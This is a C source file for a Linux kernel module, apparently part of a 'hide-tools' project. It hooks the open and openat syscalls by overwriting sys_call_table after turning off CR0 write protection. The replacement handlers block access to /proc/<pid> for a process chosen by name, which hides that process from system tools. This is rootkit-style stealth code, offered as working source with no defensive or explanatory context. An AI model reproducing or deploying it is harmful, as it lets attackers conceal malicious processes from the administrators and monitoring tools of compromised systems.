/*
 * @Author: your name
 * @Date: 2021-06-24 18:19:20
 * @LastEditTime: 2021-06-28 12:01:54
 * @LastEditors: Please set LastEditors
 * @Description: In User Settings Edit
 * @FilePath: /hide-tools/hide_hook.c
 */
#include <asm/unistd.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/mm.h>
#include <linux/version.h>
#include <linux/syscalls.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/namei.h>
#include "hide_hook.h"

static unsigned long **syscall_table;
static int hide_pid;
static int hook_flag;
extern char name[64];
void set_cr0_write(void)
{
	unsigned long cr0 = read_cr0();
	set_bit(16, &cr0);
	write_cr0(cr0);
}

void unset_cr0_write(void)
{
	unsigned long cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
}

static int do_getname(const char __user *filename, char *page)
{
	int retval;
	unsigned long len = PATH_MAX;

	if (!segment_eq(get_fs(), KERNEL_DS))
	{
		if ((unsigned long)filename >= TASK_SIZE)
			return -EFAULT;
		if (TASK_SIZE - (unsigned long)filename < PATH_MAX)
			len = TASK_SIZE - (unsigned long)filename;
	}

	retval = strncpy_from_user(page, filename, len);
	if (retval > 0)
	{
		if (retval < len)
			return 0;
		return -ENAMETOOLONG;
	}
	else if (!retval)
		retval = -ENOENT;
	return retval;
}
char *my_getname(const char __user *filename)
{
	char *tmp, *result;

	result = ERR_PTR(-ENOMEM);
	tmp = __getname();
	if (tmp)
	{
		int retval = do_getname(filename, tmp);

		result = tmp;
		if (retval < 0)
		{
			__putname(tmp);
			result = ERR_PTR(retval);
		}
	}
	return result;
}
void my_putname(const char *filename)
{
	__putname(filename);
}
unsigned long syscall_init(void)
{
	syscall_table = (unsigned long **)kallsyms_lookup_name("sys_call_table");
	//printk("sys_call_table=0x%lx\n", syscall_table);
	return syscall_table ? (unsigned long)syscall_table : 0;
}
// 暂时屏蔽 open的全路径访问，忽略间接路径访问，rename  readlink  symlink等等，hook open演示已经够用
#if 0
static char *get_full_path(int dfd, char *filename, char buf, int buf_len)
{
	struct path path;
	struct file *file = NULL;
	char *full_path = NULL;
	if (!dfd)
	{
		kern_path(filename, 0, &path);
	}
	else
	{
		file = fget(dfd);
		if (!file)
			return NULL;
		path = file->f_path;
		path_get(&path);
	}
	full_path = d_path(&path, buf, buf_len);
	if (dfd)
		fput(file);
	path_put(&path);
	return full_path;
}
#endif 
asmlinkage long (*old_sys_openat)(int dfd, const char __user *filename, int flags, int mode);
asmlinkage long new_sys_openat(int dfd, const char __user *filename, int flags, int mode)
{
	char *tmp;
	int ret;
	char proc_path[128] = {0};

	tmp = my_getname(filename);
	if (IS_ERR(tmp))
		return PTR_ERR(tmp);
	if (!hide_pid)
		goto old;
	sprintf(proc_path, "/proc/%d", hide_pid);
	if (!strncmp(proc_path, tmp, strlen(proc_path)))
	{
		ret = -1;
		goto err;
	}
old:
	ret = old_sys_openat(dfd, filename, flags, mode);
err:
	my_putname(tmp);
	return ret;
}
asmlinkage long (*old_sys_open)(const char __user *filename, int flags, int mode);
asmlinkage long new_sys_open(const char __user *filename, int flags, int mode)
{
	char *tmp;
	int ret;
	char proc_path[128] = {0};

	tmp = my_getname(filename);
	if (IS_ERR(tmp))
		return PTR_ERR(tmp);
	if (!hide_pid)
		goto old;
	sprintf(proc_path, "/proc/%d", hide_pid);
	if (!strncmp(proc_path, tmp, strlen(proc_path)))
	{
		ret = -1;
		goto err;
	}
old:
	ret = old_sys_open(filename, flags, mode);
err:
	my_putname(tmp);
	return ret;
}
static int get_hide_pid(void)
{
	struct task_struct *task = NULL;
	for_each_process(task)
	{
		if (!strcmp(name, task->comm))
			return task->tgid;
	}
	return 0;
}
int syscall_hook_init()
{
	printk("%s\n", __FUNCTION__);
	if (!syscall_init())
	{
		printk("can not find syscall_table.\n");
		return -1;
	}
	if (hook_flag)
		return 0;
	old_sys_openat = (void *)syscall_table[__NR_openat];
	old_sys_open = (void *)syscall_table[__NR_open];
	unset_cr0_write();
	syscall_table[__NR_openat] = (void *)new_sys_openat;
	syscall_table[__NR_open] = (void *)new_sys_open;
	set_cr0_write();
	hide_pid = get_hide_pid();
	hook_flag = 1;
	return 0;
}
void syscall_hook_exit(void)
{
	if (!hook_flag || !syscall_table)
		return;
	unset_cr0_write();
	syscall_table[__NR_openat] = (void *)old_sys_openat;
	syscall_table[__NR_open] = (void *)old_sys_open;
	set_cr0_write();
	hook_flag = 0;
}
